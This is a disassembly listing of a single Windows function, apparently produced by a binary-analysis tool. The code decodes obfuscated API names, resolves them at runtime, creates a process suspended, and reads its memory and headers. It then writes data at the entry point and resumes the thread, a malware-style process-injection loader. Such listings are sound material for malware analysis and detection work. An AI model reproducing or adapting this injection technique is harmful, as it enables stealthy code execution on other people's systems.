Function at 0x140004030
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
mov rbp, rsp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
and rsp, 0xfffffffffffffff0
sub rsp, 0x7f0
call fcn.140001787
xor r9d, r9d
lea r8, [rsp + 0x68]
mov edx, 0x56
mov qword [rsp + 0x68], r9
lea rcx, str.76_C6_9F_B6_0E_A8
mov qword [rsp + 0x70], r9
mov qword [rsp + 0x78], r9
mov qword [rsp + 0x80], r9
mov qword [rsp + 0x88], r9
mov qword [rsp + 0x90], r9
lea r9, [rsp + 0x70]
call fcn.140003710
test eax, eax
jne 0x1400040a2
mov eax, 1
jmp 0x1400045c6
lea r9, [rsp + 0x80]
lea r8, [rsp + 0x78]
mov edx, 6
lea rcx, str.87_FB_6A_EA_3B_FF
call fcn.140003710
test eax, eax
je 0x140004098
lea r9, [rsp + 0x90]
lea r8, [rsp + 0x88]
mov edx, 3
lea rcx, str.A3_8F_A5_80_64_AB
call fcn.140003710
test eax, eax
je 0x140004098
mov rbx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
xor r8d, r8d
mov qword [rsp + 0x98], r8
mov rcx, rbx
mov qword [rsp + 0xa0], r8
call fcn.140003520
test al, al
jne 0x14000411d
or eax, 0xffffffff
jmp 0x1400045c6
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x90]
call fcn.1400034d0
test al, al
je 0x140004098
lea rax, [rsp + 0xa0]
mov r9, rcx
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x98]
mov r8, rbx
mov qword [rsp + 0x20], rax
call fcn.140003570
test eax, eax
je 0x140004115
movabs rax, 0x57581e0005000000
lea r15, [rsp + 0x14d]
movabs rdx, 0x130c00131a0a2410
mov r8d, 0x22
mov qword [rsp + 0xd1], rax
lea rbx, [rsp + 0xd1]
movabs rax, 0x1e090f5c57581e
lea rdi, [rsp + 0x14d]
mov qword [rsp + 0xd6], rax
lea rsi, str.0L____n
movabs rax, 0x33000602000020
mov ecx, 0x23
mov qword [rsp + 0xeb], rax
lea r13, [rsp + 0xfa]
movabs rax, 0x25101617000a00
lea r12, [rsp + 0x11d]
mov qword [rsp + 0xf2], rax
lea r14, [rsp + 0xc5]
movabs rax, 0x402060d33000020
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0xfa], rax
movabs rax, 0x61d163516050020
mov rcx, r15
mov qword [rsp + 0x10b], rax
movabs rax, 0x1d05391703000020
lea rdi, [rsp + 0xeb]
lea rsi, [rsp + 0x10b]
mov qword [rsp + 0x102], rdx
movabs rdx, 0xb081729160101
mov qword [rsp + 0x11d], rax
movabs rax, 0x202270910000020
mov qword [rsp + 0x113], rdx
movabs rdx, 0x1804173a1a01120a
mov qword [rsp + 0xc5], rax
movabs rax, 0xd26160807000020
mov qword [rsp + 0x125], rdx
lea rdx, [0x140006072]
mov qword [rsp + 0xde], rax
movabs rax, 0x170417010d2616
mov qword [rsp + 0xe3], rax
mov byte [rsp + 0x10a], 0
mov word [rsp + 0x11b], 0x1c
mov dword [rsp + 0x12c], 0x100018
mov dword [rsp + 0xcd], 0x90f0b
call fcn.140003fe0
mov rcx, rbx
mov r8d, 0xc
lea rdx, [0x140006076]
call fcn.140003fe0
mov r8d, 0xe
lea rdx, [0x14000607a]
mov rcx, rdi
call fcn.140003fe0
mov r8d, 0x10
lea rdx, [0x14000607e]
mov rcx, r13
call fcn.140003fe0
mov r8d, 0x11
lea rdx, [0x140006082]
mov rcx, rsi
call fcn.140003fe0
mov r8d, 0x12
lea rdx, [0x140006086]
mov rcx, r12
call fcn.140003fe0
mov r8d, 0xb
lea rdx, [0x14000608a]
mov rcx, r14
call fcn.140003fe0
lea rax, [rsp + 0xde]
mov r8d, 0xc
lea rdx, [0x14000608e]
mov rcx, rax
mov qword [rsp + 0x58], rax
call fcn.140003fe0
mov rcx, r15
call fcn.140003f90
mov rcx, rbx
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x140004098
mov rdx, rdi
mov rcx, rax
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rdi
mov rdx, r13
mov rcx, rbx
mov r15, rax
call rdi
mov rdx, rsi
mov rcx, rbx
mov r13, rax
call rdi
mov rdx, r12
mov rcx, rbx
mov rsi, rax
call rdi
mov rdx, r14
mov rcx, rbx
mov r12, rax
call rdi
mov rcx, rbx
mov rdx, qword [rsp + 0x58]
mov r14, rax
call rdi
mov rbx, rax
test r15, r15
je 0x140004098
test r13, r13
je 0x140004098
test rsi, rsi
je 0x140004098
test r12, r12
je 0x140004098
test r14, r14
je 0x140004098
test rax, rax
je 0x140004098
xor eax, eax
mov ecx, 0x19
xor r9d, r9d
mov dword [rsp + 0x1b0], 0x68
lea rdx, [rsp + 0x1b4]
mov qword [rsp + 0xa8], rax
lea r8, [rsp + 0x1b0]
mov rdi, rdx
mov qword [rsp + 0xb0], rax
lea rdx, [rsp + 0x130]
mov qword [rsp + 0xb8], rax
xor eax, eax
rep stosd dword [rdi], eax
mov rdi, rdx
mov ecx, 6
rep stosd dword [rdi], eax
xor ecx, ecx
mov qword [rsp + 0x48], rdx
xor edx, edx
mov qword [rsp + 0x40], r8
xor r8d, r8d
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rdx
xor edx, edx
mov dword [rsp + 0x20], ecx
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x28], 4
call r15
test eax, eax
je 0x140004098
mov rcx, qword [rsp + 0x138]
lea rdx, [rsp + 0x320]
mov dword [rsp + 0x350], 0x10000b
call r13
test eax, eax
je 0x140004098
mov rax, qword [rsp + 0x3a8]
lea rdi, [rsp + 0xb0]
mov rcx, qword [rsp + 0x130]
mov r9d, 8
mov qword [rsp + 0x20], rdi
lea r8, [rsp + 0xa8]
lea rdx, [rax + 0x10]
call rsi
test eax, eax
je 0x140004098
mov qword [rsp + 0x20], rdi
mov rdx, qword [rsp + 0xa8]
mov r9d, 0x40
lea r8, [rsp + 0x170]
mov rcx, qword [rsp + 0x130]
call rsi
test eax, eax
je 0x140004098
movsxd rdx, dword [rsp + 0x1ac]
mov qword [rsp + 0x20], rdi
mov r9d, 0x108
lea r8, [rsp + 0x218]
add rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x130]
call rsi
test eax, eax
je 0x140004098
lea rax, [rsp + 0xb8]
mov edx, dword [rsp + 0x240]
mov r9, qword [rsp + 0xa0]
add rdx, qword [rsp + 0xa8]
mov qword [rsp + 0x20], rax
mov r8, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x130]
call r12
test eax, eax
je 0x140004098
mov rcx, qword [rsp + 0x138]
call rbx
inc eax
sete al
movzx eax, al
lea rsp, [rbp - 0x38]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret